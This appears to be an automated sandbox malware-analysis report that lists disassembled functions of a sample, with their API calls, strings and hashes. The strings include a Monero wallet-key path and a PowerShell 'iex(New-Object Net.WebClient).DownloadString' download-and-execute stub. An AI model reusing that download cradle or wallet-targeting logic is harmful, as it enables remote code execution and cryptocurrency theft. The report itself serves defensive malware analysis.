Instruction Fuzzy Hash: A5210AB59002189FEB24DB55DC85FE9B3B8FB48701F04C5A9A609A6140DF71AAC9CFE4

Function 00C57690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00C576A4
RtlAllocateHeap.NTDLL(00000000), ref: 00C576AB
RegOpenKeyExA.ADVAPI32(80000002,0088E2E8,00000000,00020119,00000000), ref: 00C576DD
RegQueryValueExA.ADVAPI32(00000000,008A0180,00000000,00000000,?,000000FF), ref: 00C576FE
RegCloseKey.ADVAPI32(00000000), ref: 00C57708

Strings

Windows 11, xrefs: 00C576BD

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 5cfae272781e366d1aeb322ceafdb95519ff4bcfa997aaa41a3d30725febdd1f
Instruction ID: f69688e7c8f5af68dd57e5205784a1c8e8f1e28e84e15af9b590b8255b0cd908
Opcode Fuzzy Hash: 5cfae272781e366d1aeb322ceafdb95519ff4bcfa997aaa41a3d30725febdd1f
Instruction Fuzzy Hash: 6A0184B8A00204BFEB00DBE1EC4DF6D77B8EB08701F144166FE08E7190D67499488B51

Function 00C57720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00C57734
RtlAllocateHeap.NTDLL(00000000), ref: 00C5773B
RegOpenKeyExA.ADVAPI32(80000002,0088E2E8,00000000,00020119,00C576B9), ref: 00C5775B
RegQueryValueExA.ADVAPI32(00C576B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00C5777A
RegCloseKey.ADVAPI32(00C576B9), ref: 00C57784

Strings

CurrentBuildNumber, xrefs: 00C57771

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 79175fda7d8247d2aef6d7fd185572efd443347d595e77d79b95005d79a91470
Instruction ID: 11da7af5c504e619c141e7fff7ca11e27b21054f14c1629c8e7654ac6c0ffd6d
Opcode Fuzzy Hash: 79175fda7d8247d2aef6d7fd185572efd443347d595e77d79b95005d79a91470
Instruction Fuzzy Hash: 9C01A7B9A00308BFE710DBE1DC4AFAEB7B8EB08701F044166FA08B7281D67056448B61

Function 00C499C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00C499EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00C49A11
LocalAlloc.KERNEL32(00000040,?), ref: 00C49A31
ReadFile.KERNEL32(000000FF,?,00000000,00C4148F,00000000), ref: 00C49A5A
LocalFree.KERNEL32(00C4148F), ref: 00C49A90
CloseHandle.KERNEL32(000000FF), ref: 00C49A9A

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 47f854c056441461643bcf03cc5ab84e49a89767a0588cc11824023c20aa800b
Instruction ID: c04c975929a4f1438bf1b9a527b765d3f723c39e139106ec68ecc16eaec5bd1b
Opcode Fuzzy Hash: 47f854c056441461643bcf03cc5ab84e49a89767a0588cc11824023c20aa800b
Instruction Fuzzy Hash: 9F314BB4E00209EFDB14CF95C889BAEB7B5FF48300F148159E915A7290D778AA85DFA1

Function 00C54780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,008A03C0), ref: 00C547DB

Part of subcall function 00C58DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00C58E0B

lstrcat.KERNEL32(?,00000000), ref: 00C54801
lstrcat.KERNEL32(?,?), ref: 00C54820
lstrcat.KERNEL32(?,?), ref: 00C54834
lstrcat.KERNEL32(?,0088D6A8), ref: 00C54847
lstrcat.KERNEL32(?,?), ref: 00C5485B
lstrcat.KERNEL32(?,0089FB48), ref: 00C5486F

Part of subcall function 00C5A740: lstrcpy.KERNEL32(00C60E17,00000000), ref: 00C5A788

Part of subcall function 00C58D90: GetFileAttributesA.KERNEL32(00000000,?,00C41B54,?,?,00C6564C,?,?,00C60E1F), ref: 00C58D9F

Part of subcall function 00C54570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00C54580
Part of subcall function 00C54570: RtlAllocateHeap.NTDLL(00000000), ref: 00C54587
Part of subcall function 00C54570: wsprintfA.USER32 ref: 00C545A6
Part of subcall function 00C54570: FindFirstFileA.KERNEL32(?,?), ref: 00C545BD

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 0341293669257bf2a3ef391d6c86ab6b1872b52700e98c653c9f43626d7e3c35
Instruction ID: d851348fee22da481a8acd49a2a118070484ee0bc3ea90bd569f244eb21ca8fa
Opcode Fuzzy Hash: 0341293669257bf2a3ef391d6c86ab6b1872b52700e98c653c9f43626d7e3c35
Instruction Fuzzy Hash: 2231A2B69002086BDB14FBB0DC86EED737CBB48300F444599B719A6081EE7497CDDBA5

Function 00C52C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00C5A740: lstrcpy.KERNEL32(00C60E17,00000000), ref: 00C5A788

Part of subcall function 00C5A9B0: lstrlen.KERNEL32(?,0089AEE8,?,\Monero\wallet.keys,00C60E17), ref: 00C5A9C5
Part of subcall function 00C5A9B0: lstrcpy.KERNEL32(00000000), ref: 00C5AA04
Part of subcall function 00C5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C5AA12

Part of subcall function 00C5A920: lstrcpy.KERNEL32(00000000,?), ref: 00C5A972
Part of subcall function 00C5A920: lstrcat.KERNEL32(00000000), ref: 00C5A982

Part of subcall function 00C5A8A0: lstrcpy.KERNEL32(?,00C60E17), ref: 00C5A905

ShellExecuteEx.SHELL32(0000003C), ref: 00C52D85

Strings

-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00C52CC4
<, xrefs: 00C52D39
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00C52D04
')", xrefs: 00C52CB3

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: a822054ed8331d7c5ac381dda5d02ff4329919402cd42273e871491342201a1c
Instruction ID: 3b7156c34c01fcf1ad43d60c76650ae534ccc8aaebca6be0fe5c1e36b9974fbf
Opcode Fuzzy Hash: a822054ed8331d7c5ac381dda5d02ff4329919402cd42273e871491342201a1c
Instruction Fuzzy Hash: EF41EE75C102089ADB14EBA2C892BDDBB74BF14301F504229E916B61D1EF742ACEDF99

Function 00C49E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00C49F41

Part of subcall function 00C5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00C5A7E6

Part of subcall function 00C5A740: lstrcpy.KERNEL32(00C60E17,00000000), ref: 00C5A788

Strings

v10, xrefs: 00C49EA3
ERROR_RUN_EXTRACTOR, xrefs: 00C49E67
v20, xrefs: 00C49E21
@, xrefs: 00C49EF1

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: 9941f96dde22c7aea7bcbb81f25b5dcf7dae8aa3cd8741fde628cd3e4b581086
Instruction ID: 0793c2cb70bde1a6555305a2aafde97ef7531f73b34a334fd84b7a8299f8ae11
Opcode Fuzzy Hash: 9941f96dde22c7aea7bcbb81f25b5dcf7dae8aa3cd8741fde628cd3e4b581086
Instruction Fuzzy Hash: 6E616E74A00208AFDB24EFA5CC96FEE7775BF44340F048118FD0A5B191EB706A4ADB56

Function 00C540B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,0089FB68,00000000,00020119,?), ref: 00C540F4
RegQueryValueExA.ADVAPI32(?,008A02B8,00000000,00000000,00000000,000000FF), ref: 00C54118
RegCloseKey.ADVAPI32(?), ref: 00C54122
lstrcat.KERNEL32(?,00000000), ref: 00C54147
lstrcat.KERNEL32(?,008A02E8), ref: 00C5415B

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 9e857970262d9881a1ff33609ad9de73ff4b2afdfe9c74dce89c955f623efa36
Instruction ID: 610f229d7c120aecabc4fa881991e8b6944a918a4a0fdf24a24ccf9b20da39eb
Opcode Fuzzy Hash: 9e857970262d9881a1ff33609ad9de73ff4b2afdfe9c74dce89c955f623efa36
Instruction Fuzzy Hash: 924199B69101086BDB14EBA0DC4AFFE737DBB48300F044559BA1967181EA755BCC8BA2

Function 00C56920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00C5696C
sscanf.NTDLL ref: 00C56999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00C569B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00C569C0
ExitProcess.KERNEL32 ref: 00C569DA

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 1e9c6dab442be68ddbfe39b20f529e78543d5fc73b7cff59f593583b4db3afab
Instruction ID: adf7dd5123cb361f776de8b66aaa66b8c829846045492e4677fbf73ec7608d6f
Opcode Fuzzy Hash: 1e9c6dab442be68ddbfe39b20f529e78543d5fc73b7cff59f593583b4db3afab
Instruction Fuzzy Hash: 4821EB75D00208AFDF08EFE5D9499EEB7B5BF48301F04852AE41AF3250EB345609CB69

Function 00C57E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00C57E37
RtlAllocateHeap.NTDLL(00000000), ref: 00C57E3E
RegOpenKeyExA.ADVAPI32(80000002,0088DC20,00000000,00020119,?), ref: 00C57E5E
RegQueryValueExA.ADVAPI32(?,0089F828,00000000,00000000,000000FF,000000FF), ref: 00C57E7F
RegCloseKey.ADVAPI32(?), ref: 00C57E92

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 12203ae90337bdb995dd03b6e91c22505b2b721b1d572b83bfa95720ede66c49
Instruction ID: 71d9da174ea1c04715f148a80194a91f884bec1d72ad931888466873c40fc07b
Opcode Fuzzy Hash: 12203ae90337bdb995dd03b6e91c22505b2b721b1d572b83bfa95720ede66c49
Instruction Fuzzy Hash: 7C1182B1A44205EFE714CF95DC4AF7BBBB8EB04711F10422AFA19B7280D7B458488BA1

Function 00C59260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(008A0108,?,?,?,00C5140C,?,008A0108,00000000), ref: 00C5926C
lstrcpyn.KERNEL32(00E8AB88,008A0108,008A0108,?,00C5140C,?,008A0108), ref: 00C59290
lstrlen.KERNEL32(?,?,00C5140C,?,008A0108), ref: 00C592A7
wsprintfA.USER32 ref: 00C592C7

Strings

%s%s, xrefs: 00C592B5

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 5e9938f510551722cfc1b0ccc7d72727a2a84b7379f84b339c0be4120e443403
Instruction ID: 775259c0ed266d8776685b68754092c01842b8d18b0069331ee7402f7247f2b9
Opcode Fuzzy Hash: 5e9938f510551722cfc1b0ccc7d72727a2a84b7379f84b339c0be4120e443403
Instruction Fuzzy Hash: F0011A75500208FFDB04DFECC988EAE7BB9EB48391F188159F90DAB204C631EA44DB95

Function 00C412A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00C412B4
RtlAllocateHeap.NTDLL(00000000), ref: 00C412BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00C412D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00C412F5
RegCloseKey.ADVAPI32(?), ref: 00C412FF

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
